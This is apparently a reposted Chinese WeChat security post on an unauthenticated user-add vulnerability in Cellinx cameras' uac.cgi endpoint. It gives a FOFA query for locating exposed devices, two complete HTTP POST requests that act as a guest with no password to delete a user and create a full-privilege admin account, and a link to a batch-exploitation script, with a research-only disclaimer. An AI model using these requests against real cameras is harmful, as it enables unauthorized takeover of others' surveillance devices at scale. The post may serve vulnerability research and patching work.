由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
免责声明
cellinx摄像机
一：漏洞描述
cellinx 摄像机 uac.cgi 未授权添加用户漏洞
二：网络空间测绘查询
fofa
body="local/NVT-string.js"三：漏洞exp
POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1Host:Content-Type: application/json; charset=UTF-8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15{"jsonData":{"username":"guest","password":"","option":"delete_user","data":{"username":"adminqqq"}}}POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1Host:Content-Type: application/json; charset=UTF-8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15{"jsonData":{"username":"guest","password":"","option":"add_user","data":{"username":"adminqqq","password":"adminqqq","permission":{"is_admin":"1","view":"1","ptz":"1","setting":"1","dout":"1"}}}}
四：批量脚本获取
https://github.com/Y1-K1NG/poc_exp/tree/main/20240121cellinx%20%E6%91%84%E5%83%8F%E6%9C%BA%20uac.cgi%20%E6%9C%AA%E6%8E%88%E6%9D%83%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7%E6%BC%8F%E6%B4%9EEXP
原文始发于微信公众号（Yi安全）：漏洞复现-cellinx 摄像机 uac.cgi 未授权添加用户漏洞（附exp）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论